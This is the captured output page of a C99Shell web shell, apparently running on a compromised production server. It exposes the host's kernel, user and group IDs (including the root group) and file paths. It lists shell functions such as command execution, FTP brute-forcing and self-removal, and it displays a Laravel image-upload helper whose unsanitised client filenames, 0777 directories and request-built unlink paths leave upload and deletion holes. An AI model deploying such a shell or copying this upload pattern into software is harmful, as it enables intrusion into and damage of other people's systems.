!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Helpers/   drwxr-xr-x
Free 29.05 GB of 117.98 GB (24.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImageHelper.php (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Helpers;

use 
Illuminate\Support\Str;
use 
Image;

class 
ImageHelper
{
    public static function 
handleUploadedImage($file,$path,$delete=null) {
        if (
$file) {
            if(
$delete){
                
                if (
file_exists(base_path('../').$path.'/'.$delete)) {
                    
unlink(base_path('../').$path.'/'.$delete);
                }
            }
            
$name Str::random(4).$file->getClientOriginalName();
            
$file->move($path,$name);
            return 
$name;
        }
    }


    public static function 
uploadSummernoteImage($file,$path) {
        
        if (!
file_exists($path)) {
            
mkdir($path0777true);
        }

        if (
$file) {
            
$name Str::random(4).$file->getClientOriginalName();
            
$file->move($path,$name);
            return 
$name;
        }
    }



    public static function 
ItemhandleUploadedImage($file,$path,$delete=null) {
        if (
$file) {
            if(
$delete){
                if (
file_exists(base_path('../').$path.'/'.$delete)) {
                    
unlink(base_path('../').$path.'/'.$delete);
                }
            }

            
$thum Str::random(8).'.'.$file->getClientOriginalExtension();
            
$image \Image::make($file)->resize(230,230);
    
            
$image->save(base_path('../').$path.'/'.$thum);
    
            
$photo time().$file->getClientOriginalName();
            
$file->move($path,$photo);
            return [
$photo,$thum];
        }
    }

    public static function 
handleUpdatedUploadedImage($file,$path,$data,$delete_path,$field) {
        
$name time().$file->getClientOriginalName();
   
        
$file->move(base_path('..').$path,$name);
        if(
$data[$field] != null){
            if (
file_exists(base_path('../').$delete_path.$data[$field])) {
                
unlink(base_path('../').$delete_path.$data[$field]);
            }
        }
        return 
$name;
    }


    public static function 
ItemhandleUpdatedUploadedImage($file,$path,$data,$delete_path,$field) {
        
$photo time().$file->getClientOriginalName();
        
$thum Str::random(8).'.'.$file->getClientOriginalExtension();
      
        
$image \Image::make($file)->resize(230,230);

        
// $image->save(base_path('..').$path.'/'.$thum);

        
$file->move(base_path('..').$path,$photo);

        if(
$data['thumbnail'] != null){
            if (
file_exists(base_path('../').$delete_path.$data['thumbnail'])) {
                
unlink(base_path('../').$delete_path.$data['thumbnail']);
            }
        }
        if(
$data[$field] != null){
            if (
file_exists(base_path('../').$delete_path.$data[$field])) {
                
unlink(base_path('../').$delete_path.$data[$field]);
            }
        }
        return [
$photo,$thum];
    }


    public static function 
handleDeletedImage($data,$field,$delete_path) {
        
        
        if(
$data[$field] != null){
            if (
file_exists(base_path('../').$delete_path.$data[$field])) {
                
unlink(base_path('../').$delete_path.$data[$field]);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--